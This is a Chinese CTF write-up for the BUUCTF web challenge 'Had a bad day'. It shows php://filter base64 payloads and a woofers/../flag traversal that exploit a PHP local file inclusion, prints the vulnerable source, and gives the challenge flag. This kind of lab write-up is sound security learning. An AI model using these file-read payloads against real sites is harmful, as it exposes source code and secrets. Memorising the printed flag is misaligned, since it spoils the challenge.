• buuctf-web Had a bad day 1


    做了好久的sql注入了,该换换口味了。

    那就做一下这道题吧,我也不知道这是什么类型的。

    打开靶机,启动环境。

    打开是这种的页面。

     我单击按钮woofers或者是meowers都会出来不同的页面。这。。。不明白啊

    我查看了一手源码,发现了index.php但是打开之后,也没啥特别的。还是看了一手大佬的wp,怀疑这可能是文件包含。

    那就先输入一个值吧

    http://64065594-1289-4ccf-b77b-8a7976374895.node3.buuoj.cn/index.php?category=meowers1

    然后返回了php报错

     那这就不难得知这是一个文件包含漏洞

    那我们就用php伪协议来看一下index.php的源码吧

    http://64065594-1289-4ccf-b77b-8a7976374895.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/resource=index

    php://是一种协议名称,php://filter/是一种访问本地文件的协议,
    /read=convert.base64-encode/表示读取的方式是base64编码后,
    resource=index.php表示目标文件为index.php。

    "php://filter"是一种原封装器,设计用于数据流打开时的筛选过滤应用。

     至于我们的pyload为何没加.php,是因为这里如果真加了.php的话是会报错的,因为后端给文件拼接了 “.php”

     

     这发现了很长的加密密文,看样子像是base64加密,解密一手

    得出来的源码,

    <html>
      <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="description" content="Images that spark joy">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
        <title>Had a bad day?</title>
        <link rel="stylesheet" href="css/material.min.css">
        <link rel="stylesheet" href="css/style.css">
      </head>
      <body>
        <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
          <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
            <div class="mdl-layout__header-row">
              <span class="mdl-layout-title">Had a bad day?</span>
              <div class="mdl-layout-spacer"></div>
            <div>
          </header>
          <div class="page-ribbon"></div>
          <main class="page-main mdl-layout__content">
            <div class="page-container mdl-grid">
              <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
              <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
                <div class="page-crumbs mdl-color-text--grey-500">
                </div>
                <h3>Cheer up!</h3>
                  <p>
                    Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
                  </p>
                  <div class="page-include">
                  <?php
                    $file = $_GET['category'];
    
                    if(isset($file))
                    {
                        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                            include ($file . '.php');
                        }
                        else{
                            echo "Sorry, we currently only support woofers and meowers.";
                        }
                    }
                    ?>
                </div>
              <form action="index.php" method="get" id="choice">
                  <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style=" 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
                  <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style=" 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
              </form>
    
              </div>
            </div>
          </main>
        </div>
        <script src="js/material.min.js"></script>
      </body>
    </html>

    从中我们又可以找出php代码

     <?php
                    $file = $_GET['category'];
    
                    if(isset($file))
                    {
                        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                            include ($file . '.php');
                        }
                        else{
                            echo "Sorry, we currently only support woofers and meowers.";
                        }
                    }
                    ?>

    这段代码大致意思是传入的category需要有woofers或者meowers或者index才能包含以传入名为文件名的文件

    看看能不能包含flag.php利用include函数特性包含一下flag.php试试。

    http://64065594-1289-4ccf-b77b-8a7976374895.node3.buuoj.cn/index.php?category=woofers/../flag

    然后看一下源码发现多了一个Can you read this flag?

     这说明这里存在着flag.php

    php://filter伪协议可以嵌套一层协议,因此我们可以直接构造payload:

    http://64065594-1289-4ccf-b77b-8a7976374895.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

     出来一段base64加密密文,解密一手

     得出flag:flag{a4beac41-34c8-4bf0-af51-771403f4ba6c}

  • 相关阅读:
    c11---位运算相关
    c10---多文件开发
    C9---include,编译
    c8---递归
    c7---函数
    c6----函数的声明和实现
    c5
    Arm 环境上面libgdiplus的简单安装配置
    批量查找可执行文件目录的简单方法
    Android常用工具类
  • 原文地址:https://www.cnblogs.com/awsole/p/13812533.html
Copyright © 2020-2023  润新知